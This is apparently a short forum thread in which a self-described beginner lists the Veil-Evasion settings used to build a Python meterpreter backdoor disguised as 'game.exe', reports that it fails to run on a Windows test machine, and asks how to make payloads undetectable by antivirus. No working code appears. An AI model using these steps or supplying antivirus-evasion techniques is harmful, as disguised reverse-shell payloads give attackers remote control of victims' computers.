Veil-Evasion Payload Running Error

Hi I created a backdoor using Veil-Evasion, then in windows when I open it not getting meterpreter, so I checked taskbar my backdoor doesn’t running just blinking, any solution for this…?

Hi, can you share what exact steps you followed and the screenshot of the terminal

Use 1
Use 27 (python/meterpreter/
set lhost (my ip) and lport (8080)
set clicktrack 1
set processor 1
set sleep 4
set expire payload 76
I set name as game

Then sent this into my windows machine
I turned off my windows difender for testing, Then when I opening this payload not working, in my taskbar game.exe just blinking

Suggest some methods to making undetectable payload iam nooby in Ethical Hacking, not such as msfvenom, veil etc. If there any way to customise these payloads to undetectable or can you suggest any books, course or anything…
can you tell about how you overcome these categories, where did you studied it…